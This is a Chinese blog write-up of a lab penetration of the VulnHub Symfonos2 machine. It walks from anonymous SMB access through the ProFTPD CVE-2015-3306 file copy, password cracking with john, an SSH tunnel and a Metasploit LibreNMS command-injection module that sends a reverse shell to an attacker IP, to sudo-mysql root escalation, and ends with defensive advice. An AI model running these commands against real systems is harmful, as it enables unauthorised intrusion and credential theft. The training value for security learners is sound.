一个备份文件引发的血案:从匿名共享到root的5步攻击链

admin 2026-09-21 04:44:22 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录Symfonos2靶机完整渗透链:从SMB匿名共享获取配置线索,利用ProFTPD1.3.5未授权复制漏洞(CVE-2015-3306)搬运shadow.bak,经john爆破获取SSH密码,通过SSH隧道访问内网LibreNMS并利用addhost命令注入漏洞获取shell,最终借助sudomysql免密配置提权至root。文章强调信息收集与漏洞版本匹配的关键性,并提供关闭匿名共享、及时更新服务、强化密码策略等防御建议。 综合评分: 88 文章分类: 渗透测试,内网渗透,红队,漏洞分析


一个备份文件引发的血案:从匿名共享到 root 的 5 步攻击链

Hash-Sec Hash-Sec

Hash-Sec

2026年9月20日 19:36 浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

EDITORIAL NOTE

Symfonos2 靶机渗透记录

Symfonos2 是 VulnHub 上的另一台中等难度 Linux 靶机,IP 192.168.68.170。这台靶机的设计很巧——ProFTPD 未授权复制 → SMB 下载 shadow.bak → john 爆破密码 → SSH 隧道打内网 Web → sudo mysql 提权,每一步都不是硬刚,而是信息收集到了位自然就通了。

整体路径:SMB 匿名共享拿线索 → ProFTPD 漏洞复制敏感文件 → 爆破 SSH 密码 → 隧道打内网 LibreNMS → sudo MySQL 提权 root。

01

  1. 主机发现与端口扫描

KEY INSIGHT

渗透的第一步永远是确认目标存活。局域网里跑 arp-scan,找活跃的主机:

访问 80 端口,是个简单的静态站点,页面上只有一张图,没有明显文字信息。这种情况很常见——主页往往只是个门面,真正的攻击面藏在其他服务和子目录里。

nmap 全端口扫描,关键结果:

bash

1nmap -p- -A -T4 192.168.68.170

2

3PORT    STATE SERVICE     VERSION

421/tcp  open  ftp         ProFTPD 1.3.5

522/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6

680/tcp  open  http        WebFS httpd 1.21

7139/tcp open  netbios-ssn Samba smbd 3.X – 4.X

8445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian

9

10Host script results:

11| smb-os-discovery:

12|   OS: Windows 6.1 (Samba 4.5.16-Debian)

13|   Computer name: symfonos2

14|_  System time: 2026-09-20T02:59:13-05:00

开放了 21(FTP)、22(SSH)、80(HTTP)、139/445(SMB)。这五个端口各有各的攻击面:

01

21 FTP:老版本服务经常有未授权访问或已知 CVE

02

22 SSH:通常用来暴力破解或利用特定版本漏洞

03

80 HTTP:Web 服务,最常见的入口

04

139/445 SMB:文件共享,允许 guest 匿名访问,这是这台靶机的第一个突破口

Samba 允许 guest 匿名访问,值得先看——很多管理员觉得内网 SMB 无所谓,但匿名共享泄露的配置文件和路径往往就是突破口。

02

  1. SMB 匿名共享

KEY INSIGHT

无密码列出共享资源:

bash

1smbclient -L //192.168.68.170 -N

-N 表示空密码,直接匿名登录,不需要任何凭据。

发现有个 anonymous 共享可以匿名登录。连接进去看看:

bash

1smbclient //192.168.68.170/anonymous -N

共享目录里有 smb.conf 配置文件,直接把 SMB 的配置吐出来了,透露了两个关键信息:

bash

1[anonymous]

2   path = /home/aeolus/share

3   browseable = yes

4   read only = yes

5   guest ok = yes

第一,知道了有个用户叫 aeolus,共享目录在他的 home 下面。第二,配置文件里还留了一行 root 备份 shadow 的操作记录:cat /etc/shadow > /var/backups/shadow.bak——这是后面整个突破口。

思路:靶机里出现的配置文件、备份文件、日志文件,都是信息收集的金矿。不要只盯着共享里的「正经」文件,配置文件里的路径和操作记录往往比文件本身更有价值。

03

  1. ProFTPD 漏洞利用

KEY INSIGHT

SMB 共享暂时拿不到直接可用的凭据,转看 21 端口。运行的是 ProFTPD 1.3.5,用 searchsploit 查一下有没有已知漏洞:

bash

1searchsploit proftpd 1.3.5

果然,这个版本存在一个未授权文件复制漏洞(CVE-2015-3306)。这个漏洞的原理很简单:ProFTPD 1.3.5 在处理 site cpfr 和 site cpto 这两个命令时,没有做身份验证检查——未授权用户也能调用,直接让服务器把任意文件复制到任意位置。

利用思路:既然我们已经从 SMB 配置里知道了 shadow.bak 的路径,那就用这个漏洞把它复制到 SMB 匿名共享目录里,然后通过 SMB 下载。

bash

1site cpfr /var/backups/shadow.bak

2site cpto /home/aeolus/share/shadow.bak

cpfr 指定源文件,cpto 指定目标路径,两步就完成了文件「搬运」。

为什么要先查 searchsploit? 渗透测试的黄金法则:看到服务版本号就先查 CVE。searchsploit 本地维护了 exploit-db 的离线数据库,不用联网就能查。ProFTPD 1.3.5 这个版本号一出来,第一反应就该查一下。

04

  1. 下载 shadow.bak 爆破密码

KEY INSIGHT

复制成功后,连接 SMB 下载 shadow.bak 文件:

打开 shadow 文件,拿到了 aeolus 用户的哈希:

shadow 文件里存的是 Linux 用户的密码哈希。用 john 配 rockyou 字典爆破,rockyou 是最常用的弱密码字典,收录了数百万个常见密码:

bash

1john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt

aeolus 的密码是 sergioteamo。

知识点:Linux 的 /etc/shadow 文件存储用户密码哈希,root 权限才能读。但这里 root 自己备份了一份 shadow.bak 在 /var/backups 下,而这个备份文件又被 ProFTPD 的漏洞暴露了——管理员自己留的备份,反而成了攻击入口。

05

  1. SSH 登录 + 内网探测

KEY INSIGHT

用爆破到的密码登录 SSH:

bash

1ssh [email protected]

密码是 sergioteamo。

登录成功后,第一件事不是提权,而是摸清内网情况。先看看本地有哪些端口在监听:

bash

1ss -tuln

发现 127.0.0.1:8080 在监听——这是个只绑定本地回环的 Web 服务,外部访问不到。这种情况在内网渗透里非常常见:重要的管理后台只绑 localhost,认为「反正外面访问不到」。

06

  1. SSH 隧道打内网 Web

KEY INSIGHT

既然 8080 只绑了 127.0.0.1,外部访问不到,那就做个 SSH 端口转发,把靶机的 8080 端口映射到本地:

bash

1ssh -L 0.0.0.0:1111:127.0.0.1:8080 [email protected]

-L 参数的格式是:本地绑定IP:本地端口:目标IP:目标端口。意思是把本地的 1111 端口通过 SSH 隧道转发到靶机的 8080 端口。

然后浏览器访问 http://127.0.0.1:1111,看到一个 LibreNMS 的登录界面。用刚才爆破到的账号密码 aeolus / sergioteamo 登录进去。

知识点:很多靶机的内网服务只绑 127.0.0.1,外部访问不到。拿到低权限 shell 后,一定要先跑 ss -tuln 看本地端口,再用 SSH 隧道把内网端口映射出来。这一步是内网渗透的基本功。

07

  1. LibreNMS 命令注入提权

KEY INSIGHT

登录 LibreNMS 之后,先看看这个版本有没有已知漏洞。搜索 LibreNMS 的公开 exploit,发现有个 addhost 命令注入漏洞:

这个漏洞的原理是:LibreNMS 添加设备时,hostname 参数直接拼进了系统命令里执行,没有做任何过滤。我们传一个带命令注入的 hostname,就能在服务器上执行任意命令。

用 metasploit 利用:

bash

1use exploit/linux/http/librenms_addhost_cmd_inject

2set rhost 127.0.0.1

3set rport 1111

4set username aeolus

5set password sergioteamo

6set lhost 192.168.68.156

7run

msf 会自动构造带命令注入的 hostname,添加设备触发漏洞,然后反弹一个 shell 回来。

成功拿到 shell,当前用户是 cronus。

08

  1. sudo MySQL 提权

KEY INSIGHT

拿到 cronus 的 shell 后,先获取一个交互式终端,方便后续操作:

bash

1python -c “import pty;pty.spawn(‘/bin/bash’);”

看看 sudo 权限——拿到任意用户的 shell 后,第一件事永远是跑 sudo -l,看看这个用户能以 root 身份跑什么命令:

bash

1sudo -l

发现 cronus 可以免密运行 /usr/bin/mysql。这就是突破口:MySQL 是以 root 权限运行的,我们可以通过 MySQL 写文件或者执行系统命令来提权。

具体思路是用 MySQL 的 select … into outfile 往目标目录写一个 SUID bash,或者写 SSH 公钥到 root 的 authorized_keys。

最终成功拿到 root:

为什么先跑 sudo -l? sudo 权限是 Linux 提权最常见的路径。如果一个用户能以 root 身份免密运行某个程序,而这个程序又能执行系统命令或写文件,那提权就是分分钟的事。GTFOBins 上收录了大量可以用来提权的 sudo 程序。

09

  1. 复盘

KEY INSIGHT

这台靶机的整条链拆开来:

| 阶段 | 突破口 | 关键信息 | | — | — | — | | 信息收集 | SMB 匿名共享 | 拿到用户 aeolus + shadow.bak 路径 | | 文件读取 | ProFTPD 1.3.5 未授权复制 | 把 shadow.bak 复制到 SMB 目录 | | 凭据获取 | john 字典爆破 | 拿到 aeolus 的 SSH 密码 | | 内网突破 | SSH 隧道 + LibreNMS 漏洞 | 从 aeolus 切到 cronus | | 权限提升 | sudo mysql NOPASSWD | cronus → root |

这台靶机最妙的设计:shadow.bak 不是直接放在 SMB 共享里的,而是通过 ProFTPD 的未授权复制漏洞「搬」过去的。每一步都有信息收集的味道,不是硬扫漏洞。

如果是真实系统,防御建议:

1. 关闭 SMB 匿名访问:guest 共享只放公开内容,不要放配置文件和路径信息 2. 及时更新 FTP 服务:ProFTPD 1.3.5 这种老版本有很多已知 CVE 3. shadow 文件不要随便备份:备份文件本身就是攻击目标,备份后记得移走或加密 4. 强密码 + 限制 sudo:shadow 哈希泄露后,弱密码一爆就开;sudo 权限要最小化 5. 内网服务不要只绑 localhost 当安全措施:SSH 隧道一打就穿,该做认证还是要做

10

攻击链路图

KEY INSIGHT

11

关联知识

KEY INSIGHT

01

ProFTPD 1.3.5 漏洞:CVE-2015-3306,未授权文件复制,通过 site cpfr / site cpto 实现任意文件复制。

02

SSH 端口转发:-L 参数把远程端口映射到本地,-D 是动态 SOCKS 代理。

03

LibreNMS addhost 命令注入:添加设备时 hostname 参数未过滤,直接拼进系统命令执行。

04

sudo MySQL 提权:如果用户可以免密运行 mysql,且 mysql 以 root 运行,可以通过 select … into outfile 写 SSH key 或写 SUID bash。

END NOTE

Hash-Sec


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:Hash-Sec Hash-Sec Hash-Sec《一个备份文件引发的血案:从匿名共享到 root 的 5 步攻击链》

评论:0   参与:  0